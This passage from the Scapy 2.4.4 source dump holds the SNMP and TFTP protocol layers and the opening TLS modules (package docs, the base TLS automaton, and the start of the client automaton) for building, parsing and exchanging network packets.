ASN1F_SNMP_PDU_TRAPv1(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_SNMP.PDU_TRAPv1 class ASN1F_SNMP_PDU_BULK(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_SNMP.PDU_BULK class ASN1F_SNMP_PDU_INFORM(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_SNMP.PDU_INFORM class ASN1F_SNMP_PDU_TRAPv2(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_SNMP.PDU_TRAPv2 # [ SNMP Packet ] # SNMP_error = {0: "no_error", 1: "too_big", 2: "no_such_name", 3: "bad_value", 4: "read_only", 5: "generic_error", 6: "no_access", 7: "wrong_type", 8: "wrong_length", 9: "wrong_encoding", 10: "wrong_value", 11: "no_creation", 12: "inconsistent_value", 13: "resource_unavailable", 14: "commit_failed", 15: "undo_failed", 16: "authorization_error", 17: "not_writable", 18: "inconsistent_name", } SNMP_trap_types = {0: "cold_start", 1: "warm_start", 2: "link_down", 3: "link_up", 4: "auth_failure", 5: "egp_neigh_loss", 6: "enterprise_specific", } class SNMPvarbind(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE(ASN1F_OID("oid", "1.3"), ASN1F_field("value", ASN1_NULL(0)) ) class SNMPget(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SNMP_PDU_GET(ASN1F_INTEGER("id", 0), ASN1F_enum_INTEGER("error", 0, SNMP_error), ASN1F_INTEGER("error_index", 0), ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind) # noqa: E501 ) class SNMPnext(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SNMP_PDU_NEXT(ASN1F_INTEGER("id", 0), ASN1F_enum_INTEGER("error", 0, SNMP_error), ASN1F_INTEGER("error_index", 0), ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind) # noqa: E501 ) class SNMPresponse(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SNMP_PDU_RESPONSE(ASN1F_INTEGER("id", 0), ASN1F_enum_INTEGER("error", 0, SNMP_error), # noqa: E501 ASN1F_INTEGER("error_index", 0), ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind) # noqa: E501 ) class SNMPset(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SNMP_PDU_SET(ASN1F_INTEGER("id", 0), ASN1F_enum_INTEGER("error", 0, SNMP_error), ASN1F_INTEGER("error_index", 0), ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind) # noqa: E501 ) class SNMPtrapv1(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SNMP_PDU_TRAPv1(ASN1F_OID("enterprise", "1.3"), ASN1F_IPADDRESS("agent_addr", "0.0.0.0"), ASN1F_enum_INTEGER("generic_trap", 0, SNMP_trap_types), # noqa: E501 ASN1F_INTEGER("specific_trap", 0), ASN1F_TIME_TICKS("time_stamp", IntAutoTime()), # noqa: E501 ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind) # noqa: E501 ) class SNMPbulk(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SNMP_PDU_BULK(ASN1F_INTEGER("id", 0), ASN1F_INTEGER("non_repeaters", 0), ASN1F_INTEGER("max_repetitions", 0), ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind) # noqa: E501 ) class SNMPinform(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SNMP_PDU_INFORM(ASN1F_INTEGER("id", 0), ASN1F_enum_INTEGER("error", 0, SNMP_error), # noqa: E501 ASN1F_INTEGER("error_index", 0), ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind) # noqa: E501 ) class SNMPtrapv2(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SNMP_PDU_TRAPv2(ASN1F_INTEGER("id", 0), ASN1F_enum_INTEGER("error", 0, SNMP_error), # noqa: E501 ASN1F_INTEGER("error_index", 0), ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind) # noqa: E501 ) class SNMP(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_enum_INTEGER("version", 1, {0: "v1", 1: "v2c", 2: "v2", 3: "v3"}), # noqa: E501 ASN1F_STRING("community", "public"), ASN1F_CHOICE("PDU", SNMPget(), SNMPget, SNMPnext, SNMPresponse, SNMPset, SNMPtrapv1, SNMPbulk, SNMPinform, SNMPtrapv2) ) def answers(self, other): return (isinstance(self.PDU, SNMPresponse) and (isinstance(other.PDU, SNMPget) or isinstance(other.PDU, SNMPnext) or isinstance(other.PDU, SNMPset)) and self.PDU.id == other.PDU.id) bind_bottom_up(UDP, SNMP, sport=161) bind_bottom_up(UDP, SNMP, dport=161) bind_bottom_up(UDP, SNMP, sport=162) bind_bottom_up(UDP, SNMP, dport=162) bind_layers(UDP, SNMP, sport=161, dport=161) def snmpwalk(dst, oid="1", community="public"): try: while True: r = sr1(IP(dst=dst) / UDP(sport=RandShort()) / SNMP(community=community, PDU=SNMPnext(varbindlist=[SNMPvarbind(oid=oid)])), timeout=2, chainCC=1, verbose=0, retry=2) # noqa: E501 if r is None: print("No answers") break if ICMP in r: print(repr(r)) break print("%-40s: %r" % (r[SNMPvarbind].oid.val, r[SNMPvarbind].value)) oid = r[SNMPvarbind].oid except KeyboardInterrupt: pass scapy-2.4.4/scapy/layers/tftp.py000066400000000000000000000355151372370053500166230ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ TFTP (Trivial File Transfer Protocol). """ from __future__ import absolute_import import os import random from scapy.packet import Packet, bind_layers, split_bottom_up, bind_bottom_up from scapy.fields import PacketListField, ShortEnumField, ShortField, \ StrNullField from scapy.automaton import ATMT, Automaton from scapy.layers.inet import UDP, IP from scapy.modules.six.moves import range from scapy.config import conf from scapy.volatile import RandShort TFTP_operations = {1: "RRQ", 2: "WRQ", 3: "DATA", 4: "ACK", 5: "ERROR", 6: "OACK"} # noqa: E501 class TFTP(Packet): name = "TFTP opcode" fields_desc = [ShortEnumField("op", 1, TFTP_operations), ] class TFTP_RRQ(Packet): name = "TFTP Read Request" fields_desc = [StrNullField("filename", ""), StrNullField("mode", "octet")] def answers(self, other): return 0 def mysummary(self): return self.sprintf("RRQ %filename%"), [UDP] class TFTP_WRQ(Packet): name = "TFTP Write Request" fields_desc = [StrNullField("filename", ""), StrNullField("mode", "octet")] def answers(self, other): return 0 def mysummary(self): return self.sprintf("WRQ %filename%"), [UDP] class TFTP_DATA(Packet): name = "TFTP Data" fields_desc = [ShortField("block", 0)] def answers(self, other): return self.block == 1 and isinstance(other, TFTP_RRQ) def mysummary(self): return self.sprintf("DATA %block%"), [UDP] class TFTP_Option(Packet): fields_desc = [StrNullField("oname", ""), StrNullField("value", "")] def extract_padding(self, pkt): return "", pkt class TFTP_Options(Packet): fields_desc = [PacketListField("options", [], TFTP_Option, length_from=lambda x:None)] # noqa: E501 class TFTP_ACK(Packet): name = "TFTP Ack" fields_desc = [ShortField("block", 0)] def answers(self, other): if isinstance(other, TFTP_DATA): return self.block == other.block elif isinstance(other, TFTP_RRQ) or isinstance(other, TFTP_WRQ) or isinstance(other, TFTP_OACK): # noqa: E501 return self.block == 0 return 0 def mysummary(self): return self.sprintf("ACK %block%"), [UDP] TFTP_Error_Codes = {0: "Not defined", 1: "File not found", 2: "Access violation", 3: "Disk full or allocation exceeded", 4: "Illegal TFTP operation", 5: "Unknown transfer ID", 6: "File already exists", 7: "No such user", 8: "Terminate transfer due to option negotiation", } class TFTP_ERROR(Packet): name = "TFTP Error" fields_desc = [ShortEnumField("errorcode", 0, TFTP_Error_Codes), StrNullField("errormsg", "")] def answers(self, other): return (isinstance(other, TFTP_DATA) or isinstance(other, TFTP_RRQ) or isinstance(other, TFTP_WRQ) or isinstance(other, TFTP_ACK)) def mysummary(self): return self.sprintf("ERROR %errorcode%: %errormsg%"), [UDP] class TFTP_OACK(Packet): name = "TFTP Option Ack" fields_desc = [] def answers(self, other): return isinstance(other, TFTP_WRQ) or isinstance(other, TFTP_RRQ) bind_layers(UDP, TFTP, dport=69) bind_layers(TFTP, TFTP_RRQ, op=1) bind_layers(TFTP, TFTP_WRQ, op=2) bind_layers(TFTP, TFTP_DATA, op=3) bind_layers(TFTP, TFTP_ACK, op=4) bind_layers(TFTP, TFTP_ERROR, op=5) bind_layers(TFTP, TFTP_OACK, op=6) bind_layers(TFTP_RRQ, TFTP_Options) bind_layers(TFTP_WRQ, TFTP_Options) bind_layers(TFTP_OACK, TFTP_Options) class TFTP_read(Automaton): def parse_args(self, filename, server, sport=None, port=69, **kargs): Automaton.parse_args(self, **kargs) self.filename = filename self.server = server self.port = port self.sport = sport def master_filter(self, pkt): return (IP in pkt and pkt[IP].src == self.server and UDP in pkt and pkt[UDP].dport == self.my_tid and (self.server_tid is None or pkt[UDP].sport == self.server_tid)) # BEGIN @ATMT.state(initial=1) def BEGIN(self): self.blocksize = 512 self.my_tid = self.sport or RandShort()._fix() bind_bottom_up(UDP, TFTP, dport=self.my_tid) self.server_tid = None self.res = b"" self.l3 = IP(dst=self.server) / UDP(sport=self.my_tid, dport=self.port) / TFTP() # noqa: E501 self.last_packet = self.l3 / TFTP_RRQ(filename=self.filename, mode="octet") # noqa: E501 self.send(self.last_packet) self.awaiting = 1 raise self.WAITING() # WAITING @ATMT.state() def WAITING(self): pass @ATMT.receive_condition(WAITING) def receive_data(self, pkt): if TFTP_DATA in pkt and pkt[TFTP_DATA].block == self.awaiting: if self.server_tid is None: self.server_tid = pkt[UDP].sport self.l3[UDP].dport = self.server_tid raise self.RECEIVING(pkt) @ATMT.receive_condition(WAITING, prio=1) def receive_error(self, pkt): if TFTP_ERROR in pkt: raise self.ERROR(pkt) @ATMT.timeout(WAITING, 3) def timeout_waiting(self): raise self.WAITING() @ATMT.action(timeout_waiting) def retransmit_last_packet(self): self.send(self.last_packet) @ATMT.action(receive_data) # @ATMT.action(receive_error) def send_ack(self): self.last_packet = self.l3 / TFTP_ACK(block=self.awaiting) self.send(self.last_packet) # RECEIVED @ATMT.state() def RECEIVING(self, pkt): if conf.raw_layer in pkt: recvd = pkt[conf.raw_layer].load else: recvd = b"" self.res += recvd self.awaiting += 1 if len(recvd) == self.blocksize: raise self.WAITING() raise self.END() # ERROR @ATMT.state(error=1) def ERROR(self, pkt): split_bottom_up(UDP, TFTP, dport=self.my_tid) return pkt[TFTP_ERROR].summary() # END @ATMT.state(final=1) def END(self): split_bottom_up(UDP, TFTP, dport=self.my_tid) return self.res class TFTP_write(Automaton): def parse_args(self, filename, data, server, sport=None, port=69, **kargs): Automaton.parse_args(self, **kargs) self.filename = filename self.server = server self.port = port self.sport = sport self.blocksize = 512 self.origdata = data def master_filter(self, pkt): return (IP in pkt and pkt[IP].src == self.server and UDP in pkt and pkt[UDP].dport == self.my_tid and (self.server_tid is None or pkt[UDP].sport == self.server_tid)) # BEGIN @ATMT.state(initial=1) def BEGIN(self): self.data = [self.origdata[i * self.blocksize:(i + 1) * self.blocksize] for i in range(len(self.origdata) // self.blocksize + 1)] self.my_tid = self.sport or RandShort()._fix() bind_bottom_up(UDP, TFTP, dport=self.my_tid) self.server_tid = None self.l3 = IP(dst=self.server) / UDP(sport=self.my_tid, dport=self.port) / TFTP() # noqa: E501 self.last_packet = self.l3 / TFTP_WRQ(filename=self.filename, mode="octet") # noqa: E501 self.send(self.last_packet) self.res = "" self.awaiting = 0 raise self.WAITING_ACK() # WAITING_ACK @ATMT.state() def WAITING_ACK(self): pass @ATMT.receive_condition(WAITING_ACK) def received_ack(self, pkt): if TFTP_ACK in pkt and pkt[TFTP_ACK].block == self.awaiting: if self.server_tid is None: self.server_tid = pkt[UDP].sport self.l3[UDP].dport = self.server_tid raise self.SEND_DATA() @ATMT.receive_condition(WAITING_ACK) def received_error(self, pkt): if TFTP_ERROR in pkt: raise self.ERROR(pkt) @ATMT.timeout(WAITING_ACK, 3) def timeout_waiting(self): raise self.WAITING_ACK() @ATMT.action(timeout_waiting) def retransmit_last_packet(self): self.send(self.last_packet) # SEND_DATA @ATMT.state() def SEND_DATA(self): self.awaiting += 1 self.last_packet = self.l3 / TFTP_DATA(block=self.awaiting) / self.data.pop(0) # noqa: E501 self.send(self.last_packet) if self.data: raise self.WAITING_ACK() raise self.END() # ERROR @ATMT.state(error=1) def ERROR(self, pkt): split_bottom_up(UDP, TFTP, dport=self.my_tid) return pkt[TFTP_ERROR].summary() # END @ATMT.state(final=1) def END(self): split_bottom_up(UDP, TFTP, dport=self.my_tid) class TFTP_WRQ_server(Automaton): def parse_args(self, ip=None, sport=None, *args, **kargs): Automaton.parse_args(self, *args, **kargs) self.ip = ip self.sport = sport def master_filter(self, pkt): return TFTP in pkt and (not self.ip or pkt[IP].dst == self.ip) @ATMT.state(initial=1) def BEGIN(self): self.blksize = 512 self.blk = 1 self.filedata = b"" self.my_tid = self.sport or random.randint(10000, 65500) bind_bottom_up(UDP, TFTP, dport=self.my_tid) @ATMT.receive_condition(BEGIN) def receive_WRQ(self, pkt): if TFTP_WRQ in pkt: raise self.WAIT_DATA().action_parameters(pkt) @ATMT.action(receive_WRQ) def ack_WRQ(self, pkt): ip = pkt[IP] self.ip = ip.dst self.dst = ip.src self.filename = pkt[TFTP_WRQ].filename options = pkt.getlayer(TFTP_Options) self.l3 = IP(src=ip.dst, dst=ip.src) / UDP(sport=self.my_tid, dport=pkt.sport) / TFTP() # noqa: E501 if options is None: self.last_packet = self.l3 / TFTP_ACK(block=0) self.send(self.last_packet) else: opt = [x for x in options.options if x.oname.upper() == b"BLKSIZE"] if opt: self.blksize = int(opt[0].value) self.debug(2, "Negotiated new blksize at %i" % self.blksize) self.last_packet = self.l3 / TFTP_OACK() / TFTP_Options(options=opt) # noqa: E501 self.send(self.last_packet) @ATMT.state() def WAIT_DATA(self): pass @ATMT.timeout(WAIT_DATA, 1) def resend_ack(self): self.send(self.last_packet) raise self.WAIT_DATA() @ATMT.receive_condition(WAIT_DATA) def receive_data(self, pkt): if TFTP_DATA in pkt: data = pkt[TFTP_DATA] if data.block == self.blk: raise self.DATA(data) @ATMT.action(receive_data) def ack_data(self): self.last_packet = self.l3 / TFTP_ACK(block=self.blk) self.send(self.last_packet) @ATMT.state() def DATA(self, data): self.filedata += data.load if len(data.load) < self.blksize: raise self.END() self.blk += 1 raise self.WAIT_DATA() @ATMT.state(final=1) def END(self): split_bottom_up(UDP, TFTP, dport=self.my_tid) return self.filename, self.filedata class TFTP_RRQ_server(Automaton): def parse_args(self, store=None, joker=None, dir=None, ip=None, sport=None, serve_one=False, **kargs): # noqa: E501 Automaton.parse_args(self, **kargs) if store is None: store = {} if dir is not None: self.dir = os.path.join(os.path.abspath(dir), "") else: self.dir = None self.store = store self.joker = joker self.ip = ip self.sport = sport self.serve_one = serve_one self.my_tid = self.sport or random.randint(10000, 65500) bind_bottom_up(UDP, TFTP, dport=self.my_tid) def master_filter(self, pkt): return TFTP in pkt and (not self.ip or pkt[IP].dst == self.ip) @ATMT.state(initial=1) def WAIT_RRQ(self): self.blksize = 512 self.blk = 0 @ATMT.receive_condition(WAIT_RRQ) def receive_rrq(self, pkt): if TFTP_RRQ in pkt: raise self.RECEIVED_RRQ(pkt) @ATMT.state() def RECEIVED_RRQ(self, pkt): ip = pkt[IP] options = pkt[TFTP_Options] self.l3 = IP(src=ip.dst, dst=ip.src) / UDP(sport=self.my_tid, dport=ip.sport) / TFTP() # noqa: E501 self.filename = pkt[TFTP_RRQ].filename.decode("utf-8", "ignore") self.blk = 1 self.data = None if self.filename in self.store: self.data = self.store[self.filename] elif self.dir is not None: fn = os.path.abspath(os.path.join(self.dir, self.filename)) if fn.startswith(self.dir): # Check we're still in the server's directory # noqa: E501 try: with open(fn) as fd: self.data = fd.read() except IOError: pass if self.data is None: self.data = self.joker if options: opt = [x for x in options.options if x.oname.upper() == b"BLKSIZE"] if opt: self.blksize = int(opt[0].value) self.debug(2, "Negotiated new blksize at %i" % self.blksize) self.last_packet = self.l3 / TFTP_OACK() / TFTP_Options(options=opt) # noqa: E501 self.send(self.last_packet) @ATMT.condition(RECEIVED_RRQ) def file_in_store(self): if self.data is not None: self.blknb = len(self.data) / self.blksize + 1 raise self.SEND_FILE() @ATMT.condition(RECEIVED_RRQ) def file_not_found(self): if self.data is None: raise self.WAIT_RRQ() @ATMT.action(file_not_found) def send_error(self): self.send(self.l3 / TFTP_ERROR(errorcode=1, errormsg=TFTP_Error_Codes[1])) # noqa: E501 @ATMT.state() def SEND_FILE(self): self.send(self.l3 / TFTP_DATA(block=self.blk) / self.data[(self.blk - 1) * self.blksize:self.blk * self.blksize]) # noqa: E501 @ATMT.timeout(SEND_FILE, 3) def timeout_waiting_ack(self): raise self.SEND_FILE() @ATMT.receive_condition(SEND_FILE) def received_ack(self, pkt): if TFTP_ACK in pkt and pkt[TFTP_ACK].block == self.blk: raise self.RECEIVED_ACK() @ATMT.state() def RECEIVED_ACK(self): self.blk += 1 @ATMT.condition(RECEIVED_ACK) def no_more_data(self): if self.blk > self.blknb: if self.serve_one: raise self.END() raise self.WAIT_RRQ() @ATMT.condition(RECEIVED_ACK, prio=2) def data_remaining(self): raise self.SEND_FILE() @ATMT.state(final=1) def END(self): split_bottom_up(UDP, TFTP, dport=self.my_tid) scapy-2.4.4/scapy/layers/tls/000077500000000000000000000000001372370053500160655ustar00rootroot00000000000000scapy-2.4.4/scapy/layers/tls/__init__.py000066400000000000000000000066501372370053500202050ustar00rootroot00000000000000# This file is part of Scapy # Copyright (C) 2007, 2008, 2009 Arnaud Ebalard # 2015, 2016, 2017 Maxence Tury # 2019 Romain Perez # This program is published under a GPLv2 license """ Tools for handling TLS sessions and digital certificates. Use load_layer('tls') to load them to the main namespace. Prerequisites: - You may need to 'pip install cryptography' for the module to be loaded. Main features: - X.509 certificates parsing/building. - RSA & ECDSA keys sign/verify methods. - TLS records and sublayers (handshake...) parsing/building. Works with versions SSLv2 to TLS 1.3. This may be enhanced by a TLS context. For instance, if Scapy reads a ServerHello with version TLS 1.2 and a cipher suite using AES, it will assume the presence of IVs prepending the data. See test/tls.uts for real examples. - TLS encryption/decryption capabilities with many ciphersuites, including some which may be deemed dangerous. Once again, the TLS context enables Scapy to transparently send/receive protected data if it learnt the session secrets. Note that if Scapy acts as one side of the handshake (e.g. reads all server-related packets and builds all client-related packets), it will indeed compute the session secrets. - TLS client & server basic automatons, provided for testing and tweaking purposes. These make for a very primitive TLS stack. - Additionally, a basic test PKI (key + certificate for a CA, a client and a server) is provided in tls/examples/pki_test. Unit tests: - Various cryptography checks. - Reading a TLS handshake between a Firefox client and a GitHub server. - Reading TLS 1.3 handshakes from test vectors of the 8448 RFC. - Reading a SSLv2 handshake between s_client and s_server, without PFS. - Test our TLS server against s_client with different cipher suites. - Test our TLS client against our TLS server (s_server is unscriptable). TODO list (may it be carved away by good souls): - Features to add (or wait for) in the cryptography library: - the compressed EC point format. - About the automatons: - Allow upgrade from TLS 1.2 to TLS 1.3 in the Automaton client. Currently we'll use TLS 1.3 only if the automaton client was given version="tls13". - Add various checks for discrepancies between client and server. Is the ServerHello ciphersuite ok? What about the SKE params? Etc. - Add some examples which illustrate how the automatons could be used. Typically, we could showcase this with Heartbleed. - Allow the server to store both one RSA key and one ECDSA key, and select the right one to use according to the ClientHello suites. - Find a way to shutdown the automatons sockets properly without simultaneously breaking the unit tests. - Miscellaneous: - Define several Certificate Transparency objects. - Add the extended master secret and encrypt-then-mac logic. - Mostly unused features : DSS, fixed DH, SRP, char2 curves... """ from scapy.config import conf if not conf.crypto_valid: import logging log_loading = logging.getLogger("scapy.loading") log_loading.info("Can't import python-cryptography v1.7+. " "Disabled PKI & TLS crypto-related features.") scapy-2.4.4/scapy/layers/tls/all.py000066400000000000000000000017141372370053500172120ustar00rootroot00000000000000# This file is part of Scapy # Copyright (C) 2007, 2008, 2009 Arnaud Ebalard # 2015, 2016, 2017 Maxence Tury # This program is published under a GPLv2 license """ Aggregate top level objects from all TLS modules. """ from scapy.layers.tls.cert import * # noqa: F401 from scapy.layers.tls.automaton_cli import * # noqa: F401 from scapy.layers.tls.automaton_srv import * # noqa: F401 from scapy.layers.tls.extensions import * # noqa: F401 from scapy.layers.tls.handshake import * # noqa: F401 from scapy.layers.tls.handshake_sslv2 import * # noqa: F401 from scapy.layers.tls.keyexchange import * # noqa: F401 from scapy.layers.tls.keyexchange_tls13 import * # noqa: F401 from scapy.layers.tls.record import * # noqa: F401 from scapy.layers.tls.record_sslv2 import * # noqa: F401 from scapy.layers.tls.record_tls13 import * # noqa: F401 from scapy.layers.tls.session import * # noqa: F401 from scapy.layers.tls.crypto.all import * # noqa: F401 scapy-2.4.4/scapy/layers/tls/automaton.py000066400000000000000000000247271372370053500204620ustar00rootroot00000000000000# This file is part of Scapy # Copyright (C) 2007, 2008, 2009 Arnaud Ebalard # 2015, 2016, 2017 Maxence Tury # This program is published under a GPLv2 license """ The _TLSAutomaton class provides methods common to both TLS client and server. """ import select import socket import struct from scapy.automaton import Automaton from scapy.config import conf from scapy.error import log_interactive from scapy.packet import Raw from scapy.layers.tls.basefields import _tls_type from scapy.layers.tls.cert import Cert, PrivKey from scapy.layers.tls.record import TLS from scapy.layers.tls.record_sslv2 import SSLv2 from scapy.layers.tls.record_tls13 import TLS13 class _TLSAutomaton(Automaton): """ SSLv3 and TLS 1.0-1.2 typically need a 2-RTT handshake: Client Server | --------->>> | C1 - ClientHello | <<<--------- | S1 - ServerHello | <<<--------- | S1 - Certificate | <<<--------- | S1 - ServerKeyExchange | <<<--------- | S1 - ServerHelloDone | --------->>> | C2 - ClientKeyExchange | --------->>> | C2 - ChangeCipherSpec | --------->>> | C2 - Finished [encrypted] | <<<--------- | S2 - ChangeCipherSpec | <<<--------- | S2 - Finished [encrypted] We call these successive groups of messages: ClientFlight1, ServerFlight1, ClientFlight2 and ServerFlight2. With TLS 1.3, the handshake require only 1-RTT: Client Server | --------->>> | C1 - ClientHello | <<<--------- | S1 - ServerHello | <<<--------- | S1 - Certificate [encrypted] | <<<--------- | S1 - CertificateVerify [encrypted] | <<<--------- | S1 - Finished [encrypted] | --------->>> | C2 - Finished [encrypted] We want to send our messages from the same flight all at once through the socket. This is achieved by managing a list of records in 'buffer_out'. We may put several messages (i.e. what RFC 5246 calls the record fragments) in the same record when possible, but we may need several records for the same flight, as with ClientFlight2. However, note that the flights from the opposite side may be spread wildly across TLS records and TCP packets. This is why we use a 'get_next_msg' method for feeding a list of received messages, 'buffer_in'. Raw data which has not yet been interpreted as a TLS record is kept in 'remain_in'. """ def parse_args(self, mycert=None, mykey=None, **kargs): self.verbose = kargs.pop("verbose", True) super(_TLSAutomaton, self).parse_args(**kargs) self.socket = None self.remain_in = b"" self.buffer_in = [] # these are 'fragments' inside records self.buffer_out = [] # these are records self.cur_session = None self.cur_pkt = None # this is usually the latest parsed packet if mycert: self.mycert = Cert(mycert) else: self.mycert = None if mykey: self.mykey = PrivKey(mykey) else: self.mykey = None def get_next_msg(self, socket_timeout=2, retry=2): """ The purpose of the function is to make next message(s) available in self.buffer_in. If the list is not empty, nothing is done. If not, in order to fill it, the function uses the data already available in self.remain_in from a previous call and waits till there are enough to dissect a TLS packet. Once dissected, the content of the TLS packet (carried messages, or 'fragments') is appended to self.buffer_in. We have to grab enough data to dissect a TLS packet. We start by reading the first 2 bytes. Unless we get anything different from \\x14\\x03, \\x15\\x03, \\x16\\x03 or \\x17\\x03 (which might indicate an SSLv2 record, whose first 2 bytes encode the length), we retrieve 3 more bytes in order to get the length of the TLS record, and finally we can retrieve the remaining of the record. """ if self.buffer_in: # A message is already available. return is_sslv2_msg = False still_getting_len = True grablen = 2 while retry and (still_getting_len or len(self.remain_in) < grablen): if not is_sslv2_msg and grablen == 5 and len(self.remain_in) >= 5: grablen = struct.unpack('!H', self.remain_in[3:5])[0] + 5 still_getting_len = False elif grablen == 2 and len(self.remain_in) >= 2: byte0, byte1 = struct.unpack("BB", self.remain_in[:2]) if (byte0 in _tls_type) and (byte1 == 3): # Retry following TLS scheme. This will cause failure # for SSLv2 packets with length 0x1{4-7}03. grablen = 5 else: # Extract the SSLv2 length. is_sslv2_msg = True still_getting_len = False if byte0 & 0x80: grablen = 2 + 0 + ((byte0 & 0x7f) << 8) + byte1 else: grablen = 2 + 1 + ((byte0 & 0x3f) << 8) + byte1 elif not is_sslv2_msg and grablen == 5 and len(self.remain_in) >= 5: # noqa: E501 grablen = struct.unpack('!H', self.remain_in[3:5])[0] + 5 if grablen == len(self.remain_in): break final = False try: tmp, _, _ = select.select([self.socket], [], [], socket_timeout) if not tmp: retry -= 1 else: data = tmp[0].recv(grablen - len(self.remain_in)) if not data: # Socket peer was closed self.vprint("Peer socket closed !") final = True else: self.remain_in += data except Exception as ex: if not isinstance(ex, socket.timeout): self.vprint("Could not join host (%s) ! Retrying..." % ex) retry -= 1 else: if final: raise self.SOCKET_CLOSED() if len(self.remain_in) < 2 or len(self.remain_in) != grablen: # Remote peer is not willing to respond return if (byte0 == 0x17 and (self.cur_session.advertised_tls_version >= 0x0304 or self.cur_session.tls_version >= 0x0304)): p = TLS13(self.remain_in, tls_session=self.cur_session) self.remain_in = b"" self.buffer_in += p.inner.msg else: p = TLS(self.remain_in, tls_session=self.cur_session) self.cur_session = p.tls_session self.remain_in = b"" if isinstance(p, SSLv2) and not p.msg: p.msg = Raw("") if self.cur_session.tls_version is None or \ self.cur_session.tls_version < 0x0304: self.buffer_in += p.msg else: if isinstance(p, TLS13): self.buffer_in += p.inner.msg else: # should be TLS13ServerHello only self.buffer_in += p.msg while p.payload: if isinstance(p.payload, Raw): self.remain_in += p.payload.load p = p.payload elif isinstance(p.payload, TLS): p = p.payload if self.cur_session.tls_version is None or \ self.cur_session.tls_version < 0x0304: self.buffer_in += p.msg else: self.buffer_in += p.inner.msg else: p = p.payload def raise_on_packet(self, pkt_cls, state, get_next_msg=True): """ If the next message to be processed has type 'pkt_cls', raise 'state'. If there is no message waiting to be processed, we try to get one with the default 'get_next_msg' parameters. """ # Maybe we already parsed the expected packet, maybe not. if get_next_msg: self.get_next_msg() from scapy.layers.tls.handshake import TLSClientHello if (not self.buffer_in or (not isinstance(self.buffer_in[0], pkt_cls) and not (isinstance(self.buffer_in[0], TLSClientHello) and self.cur_session.advertised_tls_version == 0x0304))): return self.cur_pkt = self.buffer_in[0] self.buffer_in = self.buffer_in[1:] raise state() def add_record(self, is_sslv2=None, is_tls13=None, is_tls12=None): """ Add a new TLS or SSLv2 or TLS 1.3 record to the packets buffered out. """ if is_sslv2 is None and is_tls13 is None and is_tls12 is None: v = (self.cur_session.tls_version or self.cur_session.advertised_tls_version) if v in [0x0200, 0x0002]: is_sslv2 = True elif v >= 0x0304: is_tls13 = True if is_sslv2: self.buffer_out.append(SSLv2(tls_session=self.cur_session)) elif is_tls13: self.buffer_out.append(TLS13(tls_session=self.cur_session)) # For TLS 1.3 middlebox compatibility, TLS record version must # be 0x0303 elif is_tls12: self.buffer_out.append(TLS(version="TLS 1.2", tls_session=self.cur_session)) else: self.buffer_out.append(TLS(tls_session=self.cur_session)) def add_msg(self, pkt): """ Add a TLS message (e.g. TLSClientHello or TLSApplicationData) inside the latest record to be sent through the socket. We believe a good automaton should not use the first test. """ if not self.buffer_out: self.add_record() r = self.buffer_out[-1] if isinstance(r, TLS13): self.buffer_out[-1].inner.msg.append(pkt) else: self.buffer_out[-1].msg.append(pkt) def flush_records(self): """ Send all buffered records and update the session accordingly. """ s = b"".join(p.raw_stateful() for p in self.buffer_out) self.socket.send(s) self.buffer_out = [] def vprint(self, s=""): if self.verbose: if conf.interactive: log_interactive.info("> %s", s) else: print("> %s" % s) scapy-2.4.4/scapy/layers/tls/automaton_cli.py000066400000000000000000001467231372370053500213120ustar00rootroot00000000000000# This file is part of Scapy # Copyright (C) 2007, 2008, 2009 Arnaud Ebalard # 2015, 2016, 2017 Maxence Tury # 2019 Romain Perez # This program is published under a GPLv2 license """ TLS client automaton. This makes for a primitive TLS stack. Obviously you need rights for network access. We support versions SSLv2 to TLS 1.3, along with many features. In order to run a client to tcp/50000 with one cipher suite of your choice:: from scapy.layers.tls import * ch = TLSClientHello(ciphers=) t = TLSClientAutomaton(dport=50000, client_hello=ch) t.run() You can also use it as a SuperSocket using the ``tlslink`` io:: from scapy.layers.tls import * a = TLSClientAutomaton.tlslink(Raw, server="scapy.net", dport=443) a.send(HTTP()/HTTPRequest()) while True: a.recv() You can also use the io with a TCPSession, e.g. to get an HTTPS answer:: from scapy.all import * from scapy.layers.http import * from scapy.layers.tls import * a = TLSClientAutomaton.tlslink(HTTP, server="www.google.com", dport=443) pkt = a.sr1(HTTP()/HTTPRequest(), session=TCPSession(app=True), timeout=2) """ from __future__ import print_function import socket import binascii import struct import time from scapy.config import conf from scapy.utils import randstring, repr_hex from scapy.automaton import ATMT, select_objects from scapy.error import warning from scapy.layers.tls.automaton import _TLSAutomaton from scapy.layers.tls.basefields import _tls_version, _tls_version_options from scapy.layers.tls.session import tlsSession from scapy.layers.tls.extensions import TLS_Ext_SupportedGroups, \ TLS_Ext_SupportedVersion_CH, TLS_Ext_SignatureAlgorithms, \ TLS_Ext_SupportedVersion_SH, TLS_Ext_PSKKeyExchangeModes, \ TLS_Ext_ServerName, ServerName from scapy.layers.tls.handshake import TLSCertificate, TLSCertificateRequest, \ TLSCertificateVerify, TLSClientHello, TLSClientKeyExchange, \ 